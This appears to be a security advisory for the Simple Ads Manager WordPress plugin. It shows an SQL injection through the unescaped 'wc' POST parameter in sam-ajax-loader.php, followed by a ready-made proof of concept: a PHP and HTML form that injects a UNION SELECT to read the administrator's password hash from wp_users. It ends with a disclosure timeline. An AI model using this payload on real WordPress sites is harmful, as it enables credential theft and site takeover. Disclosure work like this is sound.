$whereClause and $whereClauseT and $whereClauseW and $whereClause2W are not escaped.
File: simple-ads-manager\ad.class.php
public function __construct( $args = null, $useCodes = false, $crawler = false, $clauses = null, $ajax = false ) {
global $SAM_Query;
if ( ! defined( 'SAM_OPTIONS_NAME' ) ) {
define( 'SAM_OPTIONS_NAME', 'samPluginOptions' );
}
$this->args = $args;
$this->useCodes = $useCodes;
$this->crawler = $crawler;
if ( is_null( $clauses ) ) {
$this->clauses = $SAM_Query['clauses'];
} else {
$this->clauses = $clauses;
}
$this->force = $ajax;
$this->ad = $this->buildAd( $this->args, $this->useCodes );
}
private function buildAd( $args = null, $useCodes = false ) {
// I skip unnecessary lines
$whereClause = $this->clauses['WC'];
$whereClauseT = $this->clauses['WCT'];
$whereClauseW = $this->clauses['WCW'];
$whereClause2W = $this->clauses['WC2W'];
if ( ! empty( $args['id'] ) ) {
$pId = "sp.id = {$args['id']}";
} else {
$pId = "sp.name = '{$args['name']}'";
}
$output = "";
// SQL was changed. Bad way, incorrect logic, but it reflects when the cycle is exceed border values for some set of restrictions.
$aSql = "
(SELECT
@pid := sp.id AS pid,
0 AS aid,
sp.name,
sp.patch_source AS code_mode,
@code_before := sp.code_before AS code_before,
@code_after := sp.code_after AS code_after,
@ad_size := IF(sp.place_size = \"custom\", CONCAT(CAST(sp.place_custom_width AS CHAR), \"x\", CAST(sp.place_custom_height AS CHAR)), sp.place_size) AS ad_size,
sp.patch_code AS ad_code,
sp.patch_img AS ad_img,
\"\" AS ad_alt,
0 AS ad_no,
sp.patch_link AS ad_target,
0 AS ad_swf,
\"\" AS ad_swf_flashvars,
\"\" AS ad_swf_params,
\"\" AS ad_swf_attributes,
\"\" AS ad_swf_fallback,
sp.patch_adserver AS ad_adserver,
sp.patch_dfp AS ad_dfp,
0 AS count_clicks,
0 AS code_type,
IF((sp.patch_source = 1 AND sp.patch_adserver) OR sp.patch_source = 2, -1, 1) AS ad_cycle,
@aca := IFNULL((SELECT AVG(sa.ad_weight_hits*10/(sa.ad_weight*$cycle)) FROM $aTable sa WHERE sa.pid = @pid AND sa.trash IS NOT TRUE AND {$whereClause} {$whereClauseT} {$whereClause2W}), 0) AS aca
FROM {$pTable} sp
WHERE {$pId} AND sp.trash IS FALSE)
UNION
(SELECT
sa.pid,
sa.id AS aid,
sa.name,
sa.code_mode,
@code_before AS code_before,
@code_after AS code_after,
@ad_size AS ad_size,
sa.ad_code,
sa.ad_img,
sa.ad_alt,
sa.ad_no,
sa.ad_target,
sa.ad_swf,
sa.ad_swf_flashvars,
sa.ad_swf_params,
sa.ad_swf_attributes,
sa.ad_swf_fallback,
0 AS ad_adserver,
0 AS ad_dfp,
sa.count_clicks,
sa.code_type,
IF(sa.ad_weight, (sa.ad_weight_hits*10/(sa.ad_weight*$cycle)), 0) AS ad_cycle,
@aca AS aca
FROM {$aTable} sa
WHERE sa.pid = @pid AND sa.trash IS FALSE AND {$whereClause} {$whereClauseT} {$whereClauseW})
ORDER BY ad_cycle
LIMIT 1;";
$ad = $wpdb->get_row( $aSql, ARRAY_A );
We can pass this datas using $_POST['wc'].
File: simple-ads-manager\sam-ajax-loader.php
case 'sam_ajax_load_place':
if ( isset( $_POST['id'] ) && isset( $_POST['pid'] ) && isset( $_POST['wc'] ) ) {
$placeId = (integer) $_POST['pid'];
$adId = (integer) $_POST['id'];
$clauses = unserialize( base64_decode( $_POST['wc'] ) );
$args = array( 'id' => ( $adId == 0 ) ? $placeId : $adId );
if ( isset( $_POST['codes'] ) ) {
$codes = (bool) ( $_POST['codes'] );
} else {
$codes = false;
}
include_once( 'ad.class.php' );
if ( $adId == 0 ) {
$ad = new SamAdPlace( $args, $codes, false, $clauses, true );
} else {
$ad = new SamAd( $args, $codes, false, true );
}
echo json_encode( array(
'success' => true,
'ad' => $ad->ad,
'id' => $ad->id,
'pid' => $ad->pid,
'cid' => $ad->cid,
//'clauses' => $clauses,
//'sql' => $ad->sql
) );
} else {
json_encode( array( 'success' => false, 'error' => 'Bad input data.' ) );
}
break;
Proof of Concept
<?php
$out = array();
$out['WC'] = '1=0';
$out['WCT'] = '';
$out['WCW'] = ') UNION (SELECT user_pass, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2 FROM wp_users WHERE ID = 1';
$out['WC2W'] = '';
?>
<form method="post" action="http://wp-url/wp-content/plugins/simple-ads-manager/sam-ajax-loader.php">
<input type="hidden" name="action" value="load_place">
<input type="hidden" name="id" value="0">
<input type="hidden" name="pid" value="1">
<input type="text" name="wc" value="<?php echo base64_encode(serialize($out)); ?>">
<input type="submit" value="Send">
</form>
You will find administrator ID=1 password here:
{"success":true,"ad":"<div id='c2077_1_%here_is_password%' class='sam-container sam-place' data-sam='0'><\/div>","id":"1","pid":"%here_is_password%","cid":"c2077_1_%here_is_password%"}
Timeline
- 16-07-2015: Discovered
- 16-07-2015: Vendor notified
- 16-07-2015: Version 2.9.5.118 released, issue resolved